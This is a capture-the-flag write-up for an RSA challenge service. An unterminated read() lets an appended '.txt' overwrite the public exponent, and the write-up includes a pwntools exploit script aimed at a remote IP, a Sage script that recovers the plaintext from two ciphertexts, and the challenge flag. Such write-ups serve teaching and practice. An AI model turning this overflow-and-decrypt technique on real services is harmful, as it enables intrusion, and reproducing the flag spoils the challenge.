The service asked for a filename and sent its contents RSA encrypted (with a fix modulus and exponent = 3).
It read the filename using the read() function which do not zero-terminate it and then called strlen() on it so it can append ".txt" to it. This suffix could overflow into the public exponent field, overwriting the original 3 with a 't' byte.
So we could get pow(flag, 3, N) and pow(flag, ord(t), N) from which we can restore the flag value.
I used this script to overwrite the exponent and get the encrypted flag.
from pwn import *
r = remote('13.112.220.64', 9999)
r.send('a'*13)
time.sleep(1)
r.sendline('')
time.sleep(1)
r.send('a'*14)
time.sleep(1)
r.sendline('')
time.sleep(1)
r.sendline('flag')
r.interactive()This script calculates the flag value based on the two encrypted values using the following equation.
flag = pow(flag, 1, N) = pow(flag, 3*39 - 116, N) =
= (pow(pow(flag, 3, N), 39, N) * inverse_mod(pow(flag, 116, N))) % N
import binascii
from sage.all import *
n = 104176920808444707134363566789644103637046138703732812593856489450966164422700871083271001476798525601830292237723021138499045286505397665962198734248957208942814238767855960753797521549548788530151996440657784060736603682776712677518537991291065233449586393186516770855075158900503486179189610821817031409223
f3 = 80026450605919212347157319516655228661982088106956311148514121800139890113377161068043879513015347037232410178041918490832353137735848626795271143817272105057902549455690557715462777567966903851646207028020678373050285949287173514737755698953051536123368646144531895984034141177000138932645546381541544731963
ft = 34015050739171424314498710560698933245290487498407796325442619137486729442802528626382281472580331765072329760653988415330996610121722917108068295306759509236079670592756017946213660204166698063720347903421975796238572540763828405967122388498856634690437707718068681935013304774553910859857042301346162679298
print binascii.unhexlify(hex((pow(f3,39,n)*inverse_mod(ft,n))%n))This gave me the flag: hitcon{WoW!y0u_c4n_d3crypt_RSA!!!!}